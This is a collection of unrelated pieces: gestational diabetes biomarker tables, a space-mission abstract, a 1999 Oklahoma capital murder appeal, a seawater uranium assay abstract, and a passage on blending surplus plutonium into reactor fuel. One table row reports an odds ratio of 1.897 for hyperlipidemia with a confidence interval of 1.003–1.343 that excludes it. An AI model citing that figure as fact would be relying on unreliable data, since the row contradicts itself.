Fasting blood glucose (mmol/l) 4.58±0.35 6.13±0.89 11.580 \<0.001
Fasting insulin (mU/l) 9.12±4.67 13.19±5.15 4.304 \<0.001
Postprandial insulin for 0.5 h (mU/l) 71.39±37.85 67.88±24.05 0.590 0.557
Postprandial insulin for 1 h (mU/l) 90.87±34.58 83.81±23.66 1.266 0.208
Postprandial insulin for 2 h (mU/l) 70.27±22.64 80.85±36.09 1.798 0.075
HOMA-IR 6.42±1.81 22.35±13.88 8.053 \<0.001
Total cholesterol (mmol/l) 5.92±1.43 6.03±1.28 0.426 0.671
Chemerin (µg/l) 5.78±1.35 7.71±2.23 5.354 \<0.001
FABP4 (µg/l) 21.53±8.89 35.14±11.39 6.880 \<0.001
FABP4, fatty acid-binding protein 4; SG, study group; CG, control group.
######
ROC parameters of Chemerin and FABP4 in diagnosis of GDM patients.
Grouping AUC 95% CI SE Cut-off Sensitivity (%) Specificity (%)
------------------ ------- -------------- ------- --------- ----------------- -----------------
Chemerin 0.820 0.744--0.896 0.039 6.78 73.33 76.00
FABP4 0.814 0.733--0.895 0.041 27.64 75.00 80.00
Chemerin + FABP4 0.904 0.837--0.952 0.029 0.71 80.00 96.00
FABP4, fatty acid-binding protein 4; GDM, gestational diabetes mellitus; ROC, receiver operating characteristic.
######
Assignment of logistic multivariate regression analysis.
Factors Variables Assignment
---------------------------------------- ----------- ----------------------
Age X1 \<35=0, ≥35=1
Family history of diabetes X2 No=0; Yes=1
Hyperlipidemia X3 No=0; Yes=1
Pre-pregnancy BMI X4 Continuous variables
Increase of body mass during pregnancy X5 Continuous variables
Fasting blood glucose X6 Continuous variables
Fasting insulin X7 Continuous variables
HOMA-IR X8 Continuous variables
Chemerin X9 Continuous variables
FABP4 X10 Continuous variables
FABP4, fatty acid-binding protein 4.
######
Multiple Logistic regression analysis of GDM.
Variables B SE Wals P-value OR 95% CI
---------------------------------------- ------- ------- -------- --------- ------- ---------------
Age 0.143 0.048 9.394 0.002 1.153 1.054--1.619
Family history of diabetes 0.579 0.192 7.040 0.007 1.784 1.165--2.751
Hyperlipidemia 0.174 0.080 5.001 0.021 1.897 1.003--1.343
Pre-pregnancy BMI 0.742 0.305 6.622 0.010 2.118 1.189--3.734
Increase of body mass during pregnancy 0.101 0.473 0.045 0.829 1.106 0.429--2.819
Fasting blood glucose 0.338 0.108 9.935 0.002 1.399 1.137--1.736
Fasting insulin 0.634 0.599 1.145 0.280 1.901 0.571--6.152
HOMA-IR 0.945 0.703 1.732 0.179 2.563 0.624--10.105
Chemerin 1.345 0.475 8.617 0.004 4.029 1.598--10.217
FABP4 1.612 0.471 11.658 0.001 5.005 1.942--12.618
FABP4, fatty acid-binding protein 4; GDM, gestational diabetes mellitus.
|
Two reports, presented on the 17 Space Flight Dynamics Conference, are jointed by their attention to researches of small celestial bodies – asteroids and comets, and by supposed use of spacecrafts with low thrust for those purposes. For more than 20 years we do research the problem of flights towards asteroids of the Main Belt and comets of Jupiter group with the help of low thrust (see References). As it is supposed that above mentioned small bodies may conserve the relic matter and may carry important information about Solar System origin. Recently a conception (based on our knowledge of small bodies) of Space Patrol system for discovering of hazard asteroids approaching the Earth was formulated. It may extend known programs of optical observation of hazard objects from the Earth. |
980 P.2d 1111 (1999)
1999 OK CR 16
Christopher Howard DAVIS, Appellant,
v.
STATE of Oklahoma, Appellee.
No. F-97-72.
Court of Criminal Appeals of Oklahoma.
April 14, 1999.
As Corrected April 15, 1999.
Rehearing denied May 26, 1999.
Steven D. Hess, Norman, Thomas E. Salisbury, Tonkawa, Attorneys for Appellant at Trial.
John G. Maddox, Lisa Goodspeed-Tate, Newkirk, Attorneys for the State at Trial.
Perry Hudson, Katherine Jane Clark, Oklahoma Indigent Defense System, Norman, Attorney for Appellant on Appeal.
W.A. Drew Edmondson, Attorney General of Oklahoma, Robert Whittaker, Assistant Attorney General, Oklahoma City, Attorneys for Appellee on Appeal.
*1113 OPINION
STRUBHAR, Presiding Judge:
¶ 1 Appellant, Christopher Howard Davis, was tried in the District Court of Kay County, Case No. CF-95-450, for the crime of First Degree Murder. The State filed a Bill of Particulars alleging two aggravating circumstances: 1) that the murder was especially heinous, atrocious or cruel, and 2) the existence of a probability Appellant would commit criminal acts of violence that would constitute a continuing threat to society. The jury trial was held before the Honorable Leslie D. Page. The jury found Appellant guilty of the crime charged and also found the existence of both alleged aggravating circumstances. Appellant was sentenced to death. From this Judgment and Sentence Appellant has perfected his appeal.[1]
FACTS
¶ 2 Around 12:30 a.m. on October 29, 1995, Officer Kevin Ormand of the Ponca City Police Department was approached by Appellant in the police department parking lot. Appellant raised his hands and said to the officer, "I just killed my aunt." The officer responded, "You what?" Appellant repeated, "I just killed my aunt. I'm tired of her drinking." Ormand asked where this had happened and Appellant told him, "212 South 7th." Appellant's hands and clothes were covered with a dry brownish substance. *1114 The officer escorted Appellant into the police station and asked Officer Jim Sherron to place Appellant in a holding cell and watch him. He instructed that Appellant's clothing not be taken from him and that Appellant not be allowed to wash his hands.
¶ 3 While Officer Sherron sat and watched Appellant in the holding cell, Appellant stated that he wanted to talk to somebody. Sherron asked Appellant what he wanted to talk about. Appellant replied that he had stabbed his aunt three or four times. A while later, Appellant asked Sherron, "What do you get?" Sherron responded, "For what?" Appellant said, "For murder. I killed my aunt."
¶ 4 While Sherron watched Appellant, Orman had an ambulance and other police officers dispatched to 212 South 7th Street. When authorities arrived at the address, a duplex that Appellant shared with his aunt, they found the victim, Billie Jo Davis-Pollard lying naked in a pool of blood on the kitchen floor. She had suffered several stab wounds.
¶ 5 After determining that the victim was dead, Detective William Thornton and Captain Porter returned to the police station to interview Appellant. During custodial interrogation Appellant again admitted that he had killed his aunt.
PRE-TRIAL ISSUES
¶ 6 On July 30, 1996, defense counsel filed an Application for Determination of Competency claiming that Appellant had been uncommunicative and unable to assist in his defense. A hearing was held on the application on July 30, 1996, and Appellant was ordered to undergo a competency evaluation. On September 16, 1996, at the scheduled Post-Examination Competency Hearing, defense counsel acknowledged that they had received a report on Appellant's competency from Eastern State Hospital. Defense Counsel requested a continuance so that a psychologist retained by the defense could also have opportunity to examine Appellant. This request was granted and the hearing was continued until such examination could take place. On September 26, 1996, the Post-Examination Competency Hearing was held. At this hearing it was stipulated by defense counsel that both the report from Eastern State Hospital and the report from defendant's retained psychologist, Dr. Murphy, concluded that Appellant was competent. Appellant was found by the trial court to be competent to stand trial.
¶ 7 Appellant was not present at any of the proceedings related to competency. However, defense counsel stated on the record, at the Post-Examination Competency Hearing that he was authorized by Appellant to waive Appellant's right to be present at the hearing. Appellant now argues in his fifth proposition that the trial court erred in allowing the hearing on his competency to be held in his absence.
¶ 8 He first argues that the constitutional right to be present at a competency trial should be non-waivable. It is true that a defendant has a due process right to be present at his trial "whenever his presence has a relation, reasonably substantial, to the fullness of his opportunity to defend against the charge." Snyder v. Massachusetts, 291 U.S. 97, 105-06, 54 S.Ct. 330, 332, 78 L.Ed. 674 (1934); See also Kentucky v. Stincer, 482 U.S. 730, 745, 107 S.Ct. 2658, 2667, 96 L.Ed.2d 631 (1987); United States v. Gagnon, 470 U.S. 522, 526, 105 S.Ct. 1482, 1484, 84 L.Ed.2d 486 (1985). However, "the presence of a defendant is a condition of due process to the extent that a fair and just hearing would be thwarted by his absence, and to that extent only." Snyder, 291 U.S. at 107-08, 54 S.Ct. at 333. In light of the fact that the results of two reports assessing Appellant to be competent were considered at the Post-Examination Competency Hearing, one of which was given by Appellant's retained psychologist, we do not find that Appellant's absence from the hearing thwarted the trial court's ability to fairly and justly assess Appellant's competency. Under these circumstances we find that Appellant was not deprived of any constitutional rights by being allowed to waive his right to attend the hearing at which his competency was determined. We do not find that the constitutional right to be present at a competency trial should be per se non-waivable.
*1115 ¶ 9 Next Appellant contends that the record is not sufficient to establish that he expressly and unequivocally waived his absolute right to be present at his competency proceedings. The United States Supreme Court has held that "[t]he district court need not get an express `on the record' waiver from the defendant for every trial conference which a defendant may have the right to attend." Gagnon, 470 U.S. at 528, 105 S.Ct. at 1485. This Court is not persuaded that the competency hearing in the present case was a part of the capital trial process which required that the waiver of the right to be present be made by Appellant expressly and unequivocally on the record. Cf. Taylor v. State, 1995 OK CR 10, ¶¶ 46-50, 889 P.2d 319, 339-40 (Court denied claim of defendant, who was not present at Post-Examination Competency Hearing, that the trial judge could not have allowed defense counsel to waive defendant's right to present evidence of incompetency). We find Appellant's waiver in this case to have been sufficient.
¶ 10 Finally, Appellant argues that his absence from the competency proceedings was prejudicial. In support of this he cites Bryson v. State, 1994 OK CR 32, 876 P.2d 240, for the position that judicial observation of a defendant is so important that a judge may rely solely upon his or her observations to the exclusion of expert testimony in deciding competency. The Court in Bryson held that the determination of competency "is made based upon the particular facts and circumstance of each case. The trial court is not bound to give precedence to the opinions of expert witnesses nor is it bound to consider opinions of witnesses which are not relevant to its decision." Id. 1994 OK CR 32 at ¶ 12, 876 P.2d at 249-50.
¶ 11 We add now, that this determination can also be based entirely on the reports or testimony of experts if to do so would be prudent under the facts and circumstances of a particular case. In the present case, where both the court retained expert and Appellant's own retained expert opined that Appellant was competent to stand trial, we find it was acceptable for the trial court to determine Appellant's competency in his absence. Appellant was not prejudiced by his absence from the proceedings.
¶ 12 Appellant next contends that Oklahoma's statutory definition of competency is unconstitutional in that it requires only that the defendant understand the nature of the charges against him. Appellant cites Dusky v. United States, 362 U.S. 402, 402, 80 S.Ct. 788, 789, 4 L.Ed.2d 824 (1960), for its holding that the Fourteenth Amendment requires a defendant have "a rational as well as factual understanding of the proceedings against him." Although Appellant asserts that Oklahoma's competency statutes fall short of requiring the defendant to have a rational as well as factual understanding of the proceedings against him, as is required by Dusky, this Court has held that these same principles are reflected in Oklahoma's law. Title 22 O.S.1991, § 1175.1 defines competency as "the present ability of a person arrested for or charged with a crime to understand the nature of the charges and proceedings brought against him, and to . . . effectively and rationally assist in his defense." We have interpreted this language to proffer a two-part test requiring first that an accused have sufficient ability to consult with his or her attorney and second, that an accused have a "rational and actual understanding of the proceedings against him." Middaugh v. State, 1988 OK CR 295, ¶ 6, 767 P.2d 432, 434. Accordingly, we have found little or no difference between the effective meaning of Oklahoma's law and the language used by the Supreme Court in Dusky. "In both cases, the accused is required to understand the charges against him, the implications of the charges against him and be able to effectively assist his attorney in defense of the charges against him." Lambert v. State, 1994 OK CR 79, ¶ 12, 888 P.2d 494, 498. See also Smith v. State, 1996 OK CR 50, ¶ 6, 932 P.2d 521, 526-27. Appellant presents no compelling reason to disregard our precedent.
VOIR DIRE ISSUES
¶ 13 In his fourth proposition Appellant argues that the trial court improperly led the jury to believe that the ultimate responsibility for determining the appropriateness *1116 of a death sentence rested with the appellate courts. At the conclusion of the first day of voir dire, the trial court made the following statement to the prospective jurors:
Now, folks, I can't stress too much the importance of this proceeding. You understand a lot of people are going to be looking over our shoulder, what we do here in Kay County. The appellate courts here, Tenth Circuit in Denver, the U.S. Supreme Court, they could all be taking a look at what goes on in this courtroom and II don't want anyone at anytime ever to say that we in Kay county give anyone less than they're due under the law.
(TR.I.188) Defense counsel objected, noting that the trial court's comment drew attention to the possibility of appellate review. Defense counsel's motion for mistrial was denied and Appellant argues on appeal that this ruling was in error.
¶ 14 Appellant complains that the trial court improperly diminished the jury's responsibility in returning the death penalty by commenting on the possibility of appellate review. He supports his argument by citing to Caldwell v. Mississippi, 472 U.S. 320, 105 S.Ct. 2633, 86 L.Ed.2d 231 (1985). In Caldwell the Supreme Court stated that the Constitution prohibits imposition of a death penalty which rests on a "determination made by a sentencer who has been led to believe that the responsibility for determining the appropriateness of the defendant's death rests elsewhere." Id. 472 U.S. at 328-29, 105 S.Ct. at 2639. Only comments which mislead the jury as to its role in the sentencing process in a way that allows the jury to feel less responsible than it should for the sentencing decision will violate Caldwell. Darden v. Wainwright, 477 U.S. 168, 183 n. 15, 106 S.Ct. 2464, 2472-73 n. 15, 91 L.Ed.2d 144 (1986).
¶ 15 When read in its entirety, it appears that the import of the trial court's comment was to convey to the jury the gravity of their duty in deciding this case. It is clear that a reasonable juror would not have felt that his or her ultimate responsibility for determining the appropriateness of the death penalty was diminished by the trial court's comment. See Al-Mosawi v. State, 1996 OK CR 59, ¶ 34, 929 P.2d 270, 280. Accordingly, this assignment of error is denied.
FIRST STAGE ISSUES
¶ 16 The trial court instructed the jury on Appellant's defense of voluntary intoxication. Appellant also requested the jury be given instructions on the lesser offenses of second degree murder and first degree manslaughter. The trial court refused to give these instructions and Appellant argues on appeal that the trial court's failure to give these instructions was error which warrants reversal.
¶ 17 In support of his position that the trial court erred in refusing to instruct the jury on the crime of first degree manslaughter, Appellant argues that Beck v. Alabama, 447 U.S. 625, 100 S.Ct. 2382, 65 L.Ed.2d 392 (1980), requires that a jury deciding a capital case be given instructions on any lesser offense supported by the evidence. This is because a jury which is convinced that a defendant has committed some violent crime, but which is not convinced that the defendant is guilty of a capital crime, might vote for a capital conviction where there is no alternative other than to set the defendant free without punishment.
¶ 18 We find that the Supreme Court's ruling in Beck is not so broad as Appellant maintains. In Beck the defendant was charged with the capital crime of robbery-intentional killing. The jury was given the option of either convicting the defendant and imposing the death penalty or of acquitting him. On appeal the defendant argued that the jury should have been instructed on the lesser included offense of felony murder which was warranted by the evidence and would have allowed the jury to convict him and choose between the penalties of death, life or life without the possibility of parole. The Supreme Court held that a death sentence cannot be constitutionally upheld after a jury verdict of a capital offense when the jury was not permitted to consider a verdict of a lesser included non-capital offense. Id. 447 U.S. at 626, 100 S.Ct. at 2384.
¶ 19 This ruling is not applicable to the present case. Upon conviction for the crime *1117 of first degree murder under Oklahoma law, one is not automatically assessed the death penalty as was the case in Beck. Rather, the jury is given the opportunity to choose between three penalty options: life, life without the possibility of parole and death. See Cummings v. State, 1998 OK CR 45, 968 P.2d 821. Accordingly, we find Appellant's argument unpersuasive and hold that the trial court's decision not to give Appellant's requested instruction on first degree manslaughter did not violate Appellant's constitutional rights.
¶ 20 Appellant also argues that under Oklahoma law, when a defendant is charged with malice murder and the jury is instructed on the defense of voluntary intoxication, the trial court is required to instruct the jury on lesser degrees of homicide supported by the evidence. It is true that this Court has traditionally required that under such circumstances, instructions on lesser included offenses should be given.[2] However, this Court has also held that jury instructions on lesser included offenses are required only where they are warranted by the evidence. See Locke v. State, 1997 OK CR 43, ¶ 10, 943 P.2d 1090, 1094. See also Robedeaux v. State, 1993 OK CR 57, ¶ 55, 866 P.2d 417, 431. Further, "[i]t is within the trial court's discretion and responsibility to consider the evidence to determine if such instructions are warranted." Id. The only arguable justification for a first degree manslaughter or second degree murder instruction in this case comes from the trial judge's conclusion that the evidence warranted an instruction on the defense of voluntary intoxication. However, the evidence did not warrant instructions on either second degree murder or first degree manslaughter. Appellant admitted that he intentionally killed his aunt and waited until his aunt was dead before he went to the police, thereby thwarting any possible attempt to save her life. Instructions on second degree murder are warranted only where there was no specific intent to kill. See Conover v. State, 1997 OK CR 6, ¶ 49, 933 P.2d 904, 916. Likewise, an instruction on first degree manslaughter was not warranted as there was no evidence of adequate provocation which is required to support a conviction for this crime. See Le v. State, 1997 OK CR 55, ¶ 21, 947 P.2d 535, 546-47. Finding that the requested instructions on lesser degrees of homicide were not warranted by the evidence in this case, we cannot find that the trial court abused its discretion by refusing to give them.
¶ 21 In his second proposition Appellant argues that his constitutional rights were violated when the trial court admitted his custodial statements without properly conducting the necessary Jackson v. Denno[3] hearing. Appellant basically confessed four separate times to having killed his aunt. He confessed when he first approached the police station and spoke to Officer Ormand. While he was in the holding cell, Appellant again confessed to Officer Sherron, who was watching him. From approximately 2:00 to 4:30 a.m., Appellant confessed while he was interrogated by Officer Thornton and Captain Porter. Finally, Appellant confessed when he was interrogated a second time by *1118 Thornton and Porter on the evening of October 29, 1995.
¶ 22 During trial, before Officer Sherron testified, an in camera hearing was held regarding the statements Appellant had made to him while he was in the holding cell. It was determined by the trial court that these statements were made by Appellant voluntarily, not pursuant to a custodial interrogation or the functional equivalent of such. Accordingly, Sherron was allowed to testify about the statements Appellant had made to him.
¶ 23 Before the video taped interrogations of Appellant by Thornton and Porter were admitted into evidence, defense counsel objected to the admissibility of Appellant's confessions made during these interrogations. In contesting the admissibility of these confessions, defense counsel argued that the latter two custodial interrogations were inadmissible as they were tainted by the preceding confession which had been illegally obtained by Officer Sherron. The trial court dismissed this argument noting that it had already found that the statements made by Appellant to Officer Sherron were made voluntarily and not pursuant to a custodial interrogation. Defense counsel also argued that the confessions made during the latter custodial interrogations were not voluntary. The State responded that there was no evidence Appellant had been coerced. The trial court did not conduct a hearing on the voluntariness of Appellant's confessions made to Thornton and Porter, but instead decided, based upon the argument of defense counsel and the prosecutor, that Appellant's confessions were voluntarily made.
¶ 24 In Jackson v. Denno, the United States Supreme Court established a defendant's right to an in camera hearing on the voluntariness of his confession. A defendant does not have the right to a Jackson v. Denno hearing as to the voluntariness of his inculpatory custodial statements where he does not object to the admission of the statements. Wainwright v. Sykes, 433 U.S. 72, 86, 97 S.Ct. 2497, 2506, 53 L.Ed.2d 594 (1977). However, in the present case, the Appellant clearly objected to the admissibility of the statements he made during his custodial interrogations with Thornton and Porter.
¶ 25 It must be found that Appellant was entitled to a Jackson v. Denno hearing on the voluntariness of the statements he made during the custodial interrogations. Absent this proper and required determination regarding the constitutionality of Appellant's confessions, the video taped confessions should not have been admitted into evidence. Because this error was of constitutional magnitude, this Court must apply the test set forth in Chapman v. California, 386 U.S. 18, 24, 87 S.Ct. 824, 828, 17 L.Ed.2d 705, 710-11 (1967) to determine whether this error was harmless beyond a reasonable doubt. Because the jury had already heard Appellant's two previous confessions where he admitted to having killed his aunt, it can be found beyond a reasonable doubt that Appellant would have been found guilty even absent the introduction into evidence of his latter two confessions.
¶ 26 However, it is not as clear that the video taped confessions did not affect the second stage of trial. It is difficult to find, beyond a reasonable doubt, that the jury's decision regarding punishment was not influenced by having watched Appellant's demeanor as he admitted to having purposefully killed his aunt. For this reason it is necessary that this Court remand this case for resentencing. The trial court shall hold a Jackson v. Denno hearing on the voluntariness of Appellant's video taped confessions before they are admitted into evidence in the resentencing proceeding.
¶ 27 Appellant argues in his third proposition that his initial custodial interrogation by Thornton and Porter was obtained in violation of his constitutional rights because he did not make a knowing, intelligent and voluntary waiver of his Miranda rights. Appellant argues that his decisions to waive his right to remain silent and his right to have counsel present were not made knowingly and intelligently because he was intoxicated and exhausted. Clearly a more informed decision on this issue could have been made had the trial court conducted a Jackson v. Denno hearing on the admissibility of Appellant's *1119 video taped confessions. Again, while the erroneous admission of the video taped confessions can be held harmless as to the first stage proceedings, the trial court's failure to conduct such a hearing was error requiring the case be remanded for resentencing, as was discussed in Proposition III.
¶ 28 In his seventh proposition Appellant complains the trial court committed reversible error by permitting the state to introduce evidence of other bad acts that were not part of the transaction that resulted in the death of the victim in this case. Appellant was initially charged with having raped his aunt as well as having killed her. While there was evidence that Appellant had engaged in sexual intercourse with his aunt before her death, there was not sufficient evidence that he had raped her. Accordingly, the rape charge was dismissed at preliminary hearing. Over defense objection, evidence that Appellant had sex with his aunt was introduced in the first stage of trial. Appellant argues on appeal that this evidence should not have been introduced as it was evidence of other bad acts and not part of the res gestae of the case. He also complains that the State did not give notice that it intended to introduce this evidence as is required by Burks v. State, 1979 OK CR 10, 594 P.2d 771, overruled in part on other grounds, Jones v. State, 1989 OK CR 7, 772 P.2d 922.
¶ 29 Given the strength of the evidence properly admitted against Appellant in the first stage of trial, we cannot find that any error in the admission of the evidence at issue in this proposition requires relief. This error would be harmless beyond a reasonable doubt. Chapman v. California, 386 U.S. at 24, 87 S.Ct. at 828.
¶ 30 Appellant argues in his ninth proposition that the trial court erred in admitting into evidence, over defense objection, several inflammatory photographs of the crime scene. He complains that these photographs depicting the victim, had minimal probative value as they were duplicative of each other, the testimony of several witnesses and a video tape of the crime scene. He also alleges that these photographs were highly prejudicial and served only to inflame the passions of the jury.
¶ 31 The test for admissibility of photographs is not whether they are gruesome or inflammatory, but whether their probative value is substantially outweighed by the danger of unfair prejudice. Hooks v. State, 1993 OK CR 41, ¶ 24, 862 P.2d 1273, 1280, cert. denied, 511 U.S. 1100, 114 S.Ct. 1870, 128 L.Ed.2d 490 (1994). See also 12 O.S.1991, § 2403. It is well established that "photographs of murder victims can be probative in many respects. . . . They can show the nature, extent and location of wounds, establish the corpus delicti, corroborate testimony of medical examiners and expert witnesses and depict the crime scene." (Citation omitted). Smallwood v. State, 1995 OK CR 60, ¶ 33, 907 P.2d 217, 228. Further, "[t]he admissibility of demonstrative evidence is a question of legal relevance within the sound discretion of the trial court, whose ruling will not be disturbed on appeal absent an abuse of discretion." Locke, 1997 OK CR 43 at ¶ 23, 943 P.2d at 1096.
¶ 32 The photographs at issue in the present case accurately depict the crime scene and corroborate the testimony of several State witnesses. We find that this probative value is not substantially outweighed by the prejudicial impact. Accordingly, this proposition is without merit.
ISSUES RELATING TO BOTH STAGES OF TRIAL
¶ 33 Because this case must be remanded for resentencing we will omit from our discussion those arguments which pertain to and do not affect second stage proceedings.
¶ 34 Appellant argues in his eighth proposition that numerous instances of prosecutorial misconduct deprived him of his constitutional right to a fair trial and reliable sentencing proceeding. He first complains that the prosecutor argued facts not in evidence during the first stage of trial by making numerous references to the alleged sexual relationship between Appellant and his aunt. He contends this information was irrelevant and prejudicial and was introduced only to inflame the jury. Again, in light of *1120 the strong evidence of guilt properly admitted in the first stage of trial, we find that any error committed by the improper admission of evidence regarding a sexual relationship between Appellant and his aunt was harmless beyond a reasonable doubt. Chapman v. California, 386 U.S. at 24, 87 S.Ct. at 828. Any error occurring in the second stage of trial will be cured by the resentencing proceeding.
¶ 35 Next, Appellant complains that the prosecutor improperly aligned himself with the jury during the first stage of trial. The comments complained of were met with timely objection. After the first objection the trial court admonished the prosecutor to refrain from making such comments. The trial court did not admonish the jury as an admonishment was not requested. Objections to two other comments by the prosecutor were overruled. "In order for the remarks of the prosecuting attorney to constitute reversible error they must be flagrant and of such a nature as to be prejudicial to the defendant." Willingham v. State, 1997 OK CR 62, ¶ 47, 947 P.2d 1074, 1084. The comments complained of do not reflect flagrant attempts by the prosecutor to align himself with the jury. We do not find that the prosecutor's comments were of the type that would constitute prejudicial error.
¶ 36 Finally, Appellant complains that the repeated abuses of the prosecutors so infected the trial with unfairness as to render it fundamentally unfair. Although some of the comments complained of were improper, some were appropriate. "Allegations of prosecutorial misconduct do not warrant reversal of a conviction unless the cumulative effect was such to deprive the defendant of a fair trial." Duckett v. State, 1995 OK CR 61, ¶ 47, 919 P.2d 7, 19. Because we do not find that the inappropriate comments deprived Appellant of a fair trial, affecting the jury's finding of guilt, we decline to grant relief on this proposition.
¶ 37 Appellant complains in his tenth proposition that he was unconstitutionally deprived of effective assistance of counsel by his counsels' failure to ensure his presence at his competency trial and by counsels' failure to present a second stage defense.
¶ 38 To prevail on a claim of ineffective assistance of counsel, Appellant must overcome the strong presumption that counsel's conduct falls within the wide range of reasonable professional assistance by showing both that trial counsel's performance was deficient and that he was prejudiced by the deficient performance. Strickland v. Washington, 466 U.S. 668, 687, 104 S.Ct. 2052, 2064, 80 L.Ed.2d 674 (1984). To establish prejudice, Appellant must show a reasonable probability that, but for trial counsels' errors, the result of trial would have been different. "A reasonable probability is a probability sufficient to undermine confidence in the outcome." Id. 466 U.S. at 694, 104 S.Ct. at 2068. This Court need not determine whether trial counsels' performance was deficient if Appellant cannot show he was prejudiced by trial counsels' failure to ensure his presence at his competency trial and by counsels' failure to present a second stage defense.
¶ 39 While it may have been prudent for defense counsel to schedule Dr. Murphy's evaluation so that it did not prevent Appellant from being present at his competency trial, we are not convinced that his absence from this proceeding prejudiced him. This is true especially in light of the fact that Appellant's own expert found him to be competent. As he has shown no prejudice, we decline to find that defense counsels' failure to secure Appellant's presence at the competency trial rendered his assistance ineffective.
¶ 40 Appellant also argues that defense counsel was ineffective for failing to present a second stage defense. He claims that defense counsel failed to investigate and uncover mitigating evidence and that the trial court caused defense counsel to be ineffective by failing to provide the defense with Department of Human Services records which detailed Appellant's abusive childhood. The record indicates that defense counsel made a timely request for DHS records and the trial court issued an order requiring DHS to submit the requested records. DHS did not initially submit the records because of a procedural problem. The problem was corrected *1121 and DHS was again asked to submit the requested records. Instead of delivering the records to defense counsel, DHS delivered the records to the district court. Through inadvertence and oversight, the file was not given to defense counsel until the middle of trial. Defense counsel argued at trial that the DHS file pointed to significant mitigating evidence which could have been more fully investigated had it been received in a timely fashion. He requests on appeal that this Court order an evidentiary hearing be held on his Sixth Amendment claims of state-induced ineffective assistance of counsel. It is certainly possible that Appellant's request is warranted under Rule 3.11(B)(3)(b), Rules of the Oklahoma Court of Criminal Appeals, Title 22, Ch. 18, App. (1998). However, because this case must be remanded to the trial court for resentencing, this Court need not determine whether an evidentiary hearing on this issue is required as the resentencing proceeding will cure any error which occurred here.
ISSUES RELATING TO THE SECOND STAGE OF TRIAL
¶ 41 Again, because this case must be remanded for resentencing we will omit from our discussion those arguments which do not affect this Court's decision.
¶ 42 In his final proposition, Appellant contends the accumulation of errors in this case so infected the trial and sentencing proceedings that he was denied due process of law and a reliable sentencing proceeding in violation of his rights under the Fourteenth Amendments of the federal constitution and comparable provisions of the Oklahoma Constitution. When there have been numerous irregularities during the course of the trial that tend to prejudice the rights of the defendant, reversal will be required if the cumulative effect of all the errors was to deny the defendant a fair trial. Bechtel v. State, 1987 OK CR 126, ¶ 12, 738 P.2d 559, 561. We find the errors which occurred during the course of the present trial, taken together, were significant enough to render unreliable only the sentencing proceeding in this case. Accordingly, the judgment against Appellant is AFFIRMED, but his sentence is REVERSED and REMANDED to the District Court for RESENTENCING.
LUMPKIN and LANE, JJ.[*], concur in results.
JOHNSON and CHAPEL, JJ., concur.
LUMPKIN, Vice-Presiding Judge, concur in results.
¶ 1 I concur in the results of this case, however I write separately to address the following issues. The failure to hold a Jackson v. Denno hearing could be addressed through a remand for a retroactive hearing on the voluntariness of the confession. However, the Court's method of resolving the issue is just as viable.
¶ 2 As to the issue of lesser included offenses, the Court fails to recognize this Court has unequivocally held that second degree murder is not a lesser included offense of first degree malice murder. Willingham v. State, 947 P.2d 1074, 1080-82 (Okl. Cr.1997). The present case also provides another example why this Court should adopt objective criteria for trial courts to utilize in deciding if a defendant's requested instruction on his theory of defense should be given. See Jackson v. State, 964 P.2d 875, 899 (Okl. Cr.1998) (Lumpkin, J. Concur in results). While the Court says the instruction on the lesser included offense of first degree manslaughter was "not warranted by the evidence in this case," it should go further and apply the criteria established in Kinsey v. State, 798 P.2d 630, 632-33 (Okl.Cr.1990).
¶ 3 Further, it should be noted the criteria set out in Strickland v. Washington, 466 U.S. 668, 104 S.Ct. 2052, 80 L.Ed.2d 674 (1984), for evaluating effectiveness of counsel has been further explained in Lockhart v. Fretwell, 506 U.S. 364, 113 S.Ct. 838, 122 L.Ed.2d 180 (1993). Applying the Lockhart standard, the record is void of any evidence the trial was rendered unfair and the verdict rendered suspect or unreliable.
NOTES
[1] Appellant's Petition in Error was filed in this Court on July 14, 1997. His Brief-in-Chief was filed on February 13, 1998, and the State's Response Brief was filed on June 15, 1998. The case was submitted to this Court on July 2, 1998, and oral argument was heard on October 27, 1998.
[2] See Pickens v. State, 1994 OK CR 74, 885 P.2d 678, overruled on other grounds, Parker v. State, 1996 OK CR 19, ¶ 23, 917 P.2d 980, 986 (Court held that instructions on lesser included offenses should be given where a defendant may be guilty of homicide, and where intoxication might prevent a defendant from forming specific intent.). See also Edwards v. State, 1982 OK CR 204, ¶ 10, 655 P.2d 1048, 1051 (Court held that voluntary intoxication is not a complete defense to criminal culpability, but may be considered in determining whether the accused possessed the requisite criminal intent. Evidence of intoxication negated the intent element and appellant was properly convicted of first degree manslaughter.); Jones v. State, 1982 OK CR 112, ¶ 12, 648 P.2d 1251, 1255 (Court held, "while voluntary intoxication is not a complete defense to criminal culpability, it may be considered in determining whether the accused possessed the requisite criminal intent during the commission of the crime."). But see Charm v. State, 1996 OK CR 40, ¶ 6 n. 8, 924 P.2d 754, 775 n. 8 (Court held that "[n]othing in the voluntary intoxication instruction suggests that if the jury finds lack of intent for malice murder, they must automatically consider a lesser included offense. In fact, OUJI-CR 735 provides that if the State fails to prove intent beyond a reasonable doubt due to an accused's intoxication, the jury must simply find the accused not guilty of that particular crime.").
[3] 378 U.S. 368, 84 S.Ct. 1774, 12 L.Ed.2d 908 (1964).
[*] Judge Lane entered his vote in this case prior to his retirement on December 31, 1998.
|
A simple co-precipitation inductively coupled plasma mass spectrometric method for the determination of uranium in seawater.
Inductively coupled plasma mass spectrometry (ICP-MS) was used in the determination of 238uranium in seawater after concentration by a simplified co-precipitation with iron hydroxide. Ocean water and reference seawater were used in the study. The co-precipitation method required a smaller sample volume (10 fold less), and less column separation to recover the uranium from the seawater matrix, compared to the original iron hydroxide method. The direct seawater dilution technique requires only a small seawater volume (0.5 mL) and offers a rapid, reliable method for uranium analysis in seawater compared to traditional methods. Comparison of the results for simple co-precipitation, direct dilution of seawater, and theoretical uranium values based on salinity concentrations, yielded negligible differences. Data from this work show that the certified value for NASS-4 is low. |
Post-cold war nuclear weapons demilitarization is expected to yield tonnes of fissile material which must be destroyed rapidly to assure complete unrecoverable weapon demilitarization. An effective, efficient, and economical method of destroying this fissile material is to mix it with spent nuclear fuel that has been reprocessed by the AIROX (Atomics International Reduction Oxidation) method [AIROX Dry Reprocessing of Uranium Oxide Fuels, DOE Research and Development Report, Rockwell International, Report No. ESD-DOE-13276]. The mixture can then be transmuted in light water reactors (LWRs) with concurrent electric power generation.
To form a suitable powder for fabrication of high-quality LWR oxide fuel ceramic-pellets, the feed (i.e., fuel) material must be well-mixed, finely divided, and reactive under pressing and sintering conditions. Therefore, the enrichment material prepared from demilitarization of nuclear-weapons must also be very finely-divided reactive PuO.sub.2 powder.
